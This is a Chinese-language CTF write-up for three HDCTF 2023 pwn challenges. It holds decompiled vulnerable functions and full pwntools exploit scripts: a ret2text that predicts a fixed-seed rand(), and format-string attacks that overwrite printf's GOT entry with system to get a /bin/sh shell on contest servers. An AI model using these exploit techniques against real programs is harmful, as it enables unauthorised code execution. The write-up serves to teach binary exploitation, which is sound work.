HDCTF 2023 Pwn WriteUp
Index
- 前言
- Pwnner
- 分析
- EXP:
- KEEP_ON
- 分析
- EXP:
- Minions
- 分析
- EXP:
- 后记:
前言
本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。
栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学。
Pwnner
分析
一题很简单的ret2text题。
__int64 vuln()
{int v0; // ebxchar buf[16]; // [rsp+0h] [rbp-50h] BYREFchar v3[64]; // [rsp+10h] [rbp-40h] BYREFsrand(0x39u);puts("you should prove that you love pwn,so input your name:");read(0, buf, 0x10uLL);v0 = atoi(buf);if ( v0 == rand() ){puts("ok,you have a little cognition about pwn,so what will you do next?");read(0, v3, 0x100uLL);}else{puts("sorry,you are not a real pwnner");}return 0LL;
}
可以看到使用了srand
函数,参数是0x39,而不是时间戳。
那就很简单了,只要写一个在线C语言小程序跑一个随机数出来就行了。
我用的是Python的ctypes库。
相信看这篇文章的师傅ret2text都很熟悉吧,信手拈来的程度,我这里就不多赘述了,感兴趣可以去我主页翻刚开始复健Pwn的时候的学习文章。
EXP:
from pwn import *
import ctypes context(arch='amd64', os='linux', log_level='debug')
Padding = b'A' * (0x40 + 0x08)libc = ctypes.CDLL("libc.so.6")libc.srand.argtypes = [ctypes.c_uint]
libc.srand(0x39)
rand_result = libc.rand()#io = process('./pwnner')
io = remote('node1.anna.nssctf.cn',28523)
ret = 0x40028Bio.recvuntil(b'so input your name:\n')
io.sendline(str(rand_result))
io.recvuntil(b'so what will you do next?\n')Payload = Padding + p64(ret) + p64(0x4008B2)
io.sendline(Payload)
io.interactive()
KEEP_ON
分析
没错,这就是我比赛的时候有思路没做出来的题,同样还有下一题。
实际上很简单,存在两种做法:
栈迁移
以及格式化字符串
这里写的是格式化字符串的方法,因为方便快捷,下篇文章再说栈迁移该怎么打。
__int64 vuln()
{char s[80]; // [rsp+0h] [rbp-50h] BYREFmemset(s, 0, sizeof(s));puts("please show me your name: ");read(0, s, 0x48uLL);printf("hello,");printf(s);puts("keep on !");read(0, s, 0x60uLL);return 0LL;
}
主函数是这样的,我们可以通过格式化字符串漏洞修改printf_got
为system_plt
。
先计算出我们的偏移:
偏移为6。
EXP:
from PwnModules import *#io = process('./hdctf')
io = remote('node4.anna.nssctf.cn', 28144)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')io.recvuntil(b'name: \n')printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['vuln']payload = fmtstr_payload(6, {printf_got: system_plt})
io.send(payload)payload_ret = b'A' * (0x50 + 0x08) + p64(vuln)
io.recvuntil(b'keep on !\n')
io.send(payload_ret)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')io.interactive()
切记不能使用sendline
,sendline
会附加一个换行符,而本题Payload长度有限制,加上换行符会出现不可预料的问题。
Minions
分析
和 KEEP_ON 一样的做法,也可以使用栈迁移,一样下次再说。
主要进行利用的函数是
int vuln()
{char buf[208]; // [rsp+0h] [rbp-D0h] BYREFputs("Welcome to HDCTF.What you name?\n");read(0, buf, 0xD0uLL);printf("Hello,");return printf(buf);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[48]; // [rsp+0h] [rbp-30h] BYREFinit();vuln();puts("\nDo you have an invitation key?");if ( key == 102 ){puts("welcome,tell me more about you");read(0, buf, 0x40uLL);puts("That's great.Do you like Minions?");read(0, &hdctf, 0x28uLL);}else{puts("sorry,you can't in");}return 0;
}
我们在main函数使用格式化字符串漏洞绕过条件。
然后和KEEP_ON一样打劫持printf_got
为system_plt
。
EXP:
from pwn import *#io = process('./minions1')
io = remote('node1.anna.nssctf.cn','28190')
elf = ELF('./minions1')
context(arch='amd64', os='linux', log_level='debug')Padding = b'A' * (0xD0-0x01) + b'B' * 0x01
key = 0x6010A0
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['_start']
Padding = b'A' * (0x30 + 0x08)Payload_Bypass = fmtstr_payload(6, {key: 0x66})
Payload_Replace = fmtstr_payload(6, {printf_got: system_plt})
Payload_Vuln = Padding + p64(vuln)
Payload_Shell = b'/bin/sh\x00'io.recvuntil(b'name?\n')
io.send(Payload_Bypass)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Replace)io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')io.recvuntil(b'name?\n\n')
io.send(Payload_Shell)io.interactive()
后记:
对我来说还是有提升的,虽然都是简单题目。
但是慢慢来,人总有个成长的过程。
相信当我解决完这几题栈迁移后,我的水平会进一步提升。
相关文章:

HDCTF 2023 Pwn WriteUp
Index 前言Pwnner分析EXP: KEEP_ON分析EXP: Minions分析EXP: 后记: 前言 本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。 栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学…...

【 Spring 事务 】
文章目录 一、为什么需要事务(简单回顾)二、MySQL 中的事务使⽤三、Spring 中事务的实现3.1 Spring 编程式事务(手动事务)3.2 Spring 声明式事务(自动事务)3.2.1 Transactional 作⽤范围3.2.2 Transactional 参数说明3.2.3 Transactional 不进行事务回滚的情况3.2.4 Transactio…...

【刷题之路】LeetCode 203. 移除链表元素
【刷题之路】LeetCode 203. 移除链表元素 一、题目描述二、解题1、方法1——在原链表上动刀子1.1、思路分析1.2、代码实现 2、方法2——使用额外的链表2.1、思路分析2.2、代码实现 一、题目描述 原题连接: 203. 移除链表元素 题目描述: 给你一个链表的…...

关于Open Shift(OKD) 中 用户认证、权限管理、SCC 管理的一些笔记
写在前面 因为参加考试,会陆续分享一些 OpenShift 的笔记博文内容为 openshift 用户认证和权限管理以及 scc 管理相关笔记学习环境为 openshift v3 的版本,有些旧这里如果专门学习 openshift ,建议学习 v4 版本理解不足小伙伴帮忙指正 对每个…...

活动文章测试(勿删)
大家好! 我是CSDN官方博客! 恭喜你正式加入CSDN博客,迈上技术成神之路~~ 路漫漫其修远兮——身为技术人,求索之路道阻且艰,但一万次的翘首却比不过一次的前行。 现在,就来开启你的个人博客,发布…...

Windows下 批量重命名文件【bat实现】
目录 前言 一、Windows简单实现重命名 二、使用命令行和Excel实现重命名 前言 在实际应用中,我们经常会遇到将指定文件夹下的文件重命名,以便程序读写。 本文介绍了两种方式,都是在Windows系统中自带的重命名方式。 一、Windows简单实现…...

从 Milvus 2.2 到 2.2.6,我们是如何持续稳定升级的
最近,Milvus 发布了 2.2.6 版本,在修复了一些 bug 后,Milvus 变得越发稳定。 事实上,自 Milvus 升级至 2.X 版本以来,我们一直在努力改进及优化,推出了诸如从文件中批量导入数据、基于磁盘的近似最近邻&…...

自学python有推荐的么
大学生自学那必然是首推B站大学哇能称之为大学不是没有道理的,看看各个领域的学习分享都是非常多的,关键是看着弹幕就感觉像是在和一帮志同道合的小伙伴一起学习,自学的道路也不再孤单了,遇见不会的没准还能在弹幕和评论区找到答案…...

设计模式 --- 行为型模式
一、概述 行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。 行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分…...

防御式编程
防御式编程是提高软件质量技术的有益辅助手段。就是一开始不要在代码里引入错误。使用迭代式设计、编码前写伪代码,写测试用例,助于防止引入错误。 断言 断言是用来检查永远不应该发生的非正常情况,处理这些错误的代码 错误处理技术ÿ…...

导出pdf Puppeteer 和 wkhtmltopdf区别
您可以使用第三方的 PDF 生成库来将动态页面导出为 PDF 文件。目前比较常见的是使用 Headless Chrome 或 Puppeteer 这类工具将页面转换为 PDF 文件,具体步骤如下: 安装 Headless Chrome 或 Puppeteer。 使用框架调用后端接口获取数据,渲染出…...

sequelize + Nodejs + MySQL 的简单用法
How to Use Sequelize ORM in NodeJS - Tutorial 1 Sequlize 简介 Sequelize 是最流行的可以与 Nodejs 一起使用的一种关系数据库 ORM (Object-relational mapping 对象关系映射),Mongoose 是 MongoDB 的 ORM. Sequelize 的作用,简单地说,就…...

Android Jetpack - Navigation 组件:进行应用程序导航
一. Navigation 组件的介绍 1.1 什么是 Navigation 组件 Navigation 组件是一种 Android Jetpack 库,它可以帮助开发者轻松地实现应用程序中的导航功能。导航组件包含多个类和组件,包括导航图、目的地、导航控制器等,可以帮助我们管理应用程…...

MySQL的binlog原理和它的几种使用方法
MySQL中的二进制日志(binlog)是一种用于记录数据库操作的日志文件,它可以记录MySQL服务器接收到的所有修改数据库的语句,例如INSERT、UPDATE和DELETE等语句。二进制日志对于备份和恢复数据库、复制数据库和进行数据分析等操作非常…...

40岁以上的程序员还容易找到工作吗?聊聊我自己的亲身经历
今天我们来讨论一个比较热门的话题,那就是程序员。如果到了40岁以上还容易找到工作吗?这个问题呢,其实是一个非常现实的问题,也是我们程序员非常关心的一个问题。因为我们每一个程序员,他都会有到40岁的那一天。 首先…...

Class类
package com.hspedu.reflection.class_;import com.hspedu.Cat;import java.util.ArrayList;/*** author 韩顺平* version 1.0* 对Class类特点的梳理*/ public class Class01 {public static void main(String[] args) throws ClassNotFoundException {//看看Class类图//1. Cla…...

Python小姿势 - 可选知识点:
可选知识点: 列表推导式 列表和字典推导式 字典推导式 生成器表达式 带条件的生成器表达式 解析XML 解析JSON 使用Requests和BeautifulSoup爬虫 Python并发编程 Python多线程编程 Python多进程编程 Python异步编程 Python装饰器 Python闭包 Python模块化 Python类和…...

Javaee Spring的AOP简介
一.Spring的AOP简介 1.1 什么是AOP AOP 为 Aspect Oriented Programming 的缩写,意思为面向切面编程,是通过预编译方式和运行期动态代 理实现程序功能的统一维护的一种技术。AOP 是 OOP 的延续,是软件开发中的一个热点,也是…...

基于ansible初始化linux服务器基础环境。
大家好,今天我要和大家分享一个关于搭建centos环境的新方法。 以前我们经常会看到一些文章介绍如何搭建centos环境,但很多时候都会出现一些问题。不过现在有了一种新的方法,就是使用ansible脚本来实现。 虽然这种方法仅适用于centos7&#…...

leetcode-数据库题
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 175. 组合两个表176. 第二高的薪水177. 第N高的薪水178. 分数排名181. 超过经理收入的员工182. 查找重复的电子邮箱183. 从不订购的客户 175. 组合两个表 select p…...

[元来学NVMe协议] NVMe IO 指令集(NVM 指令集)| Flush 命令
声明 主页:元存储的博客_CSDN博客 依公开知识及经验整理,如有误请留言。 个人辛苦整理,付费内容,禁止转载。 内容摘要 前言 NVMe2.0 定义的三类命令集: 管理命令集、IO命令集、Fabrics命令集 Admin Command Set (管理命令集):用于控制器的管理,如创建/销毁IO提交队列…...

信息的相关性和冗余度:信息在整个文明中的作用
文章目录 I 古埃及的象形文字1.1 罗塞塔石碑1.2 古埃及文字音节和希腊字母的对应表1.3 破解古埃及文字 I 古埃及的象形文字 1.1 罗塞塔石碑 这个石碑是在公元前196年埃及国王托勒密五世加冕一周年的诏书。 在此前大约一百年,埃及已经被来自希腊北方城邦的亚历山大…...

python数据结构与算法-动态规划(最长公共子序列)
一、最长公共子序列问题 1、问题概念 一个序列的子序列是在该序列中删去若干元素后得 到的序列。 例如:"ABCD”和“BDF”都是“ABCDEFG”的子序列。 最长公共子序列(LCS) 问题: 给定两个序列X和Y,求X和Y长度最大的公共子字列。 例:X"ABBCBDE”…...

Java版企业电子招投标系统源码 Spring Cloud+Spring Boot 电子招标采购系统功能清单
一、立项管理 1、招标立项申请 功能点:招标类项目立项申请入口,用户可以保存为草稿,提交。 2、非招标立项申请 功能点:非招标立项申请入口、用户可以保存为草稿、提交。 3、采购立项列表 功能点:对草稿进行编辑&#x…...

【c语言】函数的基本概念 | 函数堆栈调用原理
创作不易,本篇文章如果帮助到了你,还请点赞支持一下♡>𖥦<)!! 主页专栏有更多知识,如有疑问欢迎大家指正讨论,共同进步! 给大家跳段街舞感谢支持!ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ…...

Vue.prototype 详解及使用
前言: 我们可能会在很多组件里用到数据/实用工具,但是不想污染全局作用域。这种情况下,可以通过在原型上定义它们使其在每个 Vue 的实例中可用。 1. 基本示例 在main.js中添加一个变量到 Vue.prototype Vue.prototype.$appName My App这…...

音视频八股文(3)--ffmpeg常见命令(2)
07-ffplay命令播放媒体 播放本地文件 播放本地 MP4 视频文件 test.mp4 的命令,从第 2 秒位置开始播放,播放时长为 10 秒,并且在窗口标题中显示 “test time”: ffplay -window_title "test time" -ss 2 -t 10 -autoe…...

使用bert4keras出现的问题(Process finished with exit code -1073741819 (0xC0000005))
1、环境 python 3.7.12 tensorflow 1.15 keras 2.3.1 bert4keras 0.9.7 protobuf 3.19.0 numpy 1.16.5 2、出现问题 numpy版本不兼容问题所以你就直接按照我的版本就可以了(numpy 1.16.5) Process finished with exit code -1073741819 (0xC0000005) …...

python协程实战
协程简介 协程(Coroutine)又称微线程、纤程,协程不是进程或线程,其执行过程类似于 Python 函数调用,Python 的 asyncio 模块实现的异步IO编程框架中,协程是对使用 async 关键字定义的异步函数的调用; 一个进程包含多个线程,类似…...

【论文笔记】VideoGPT: Video Generation using VQ-VAE and Transformers
论文标题:VideoGPT: Video Generation using VQ-VAE and Transformers 论文代码:https://wilson1yan. github.io/videogpt/index.html. 论文链接:https://arxiv.org/abs/2104.10157 发表时间: 2021年9月 Abstract 作者提出了…...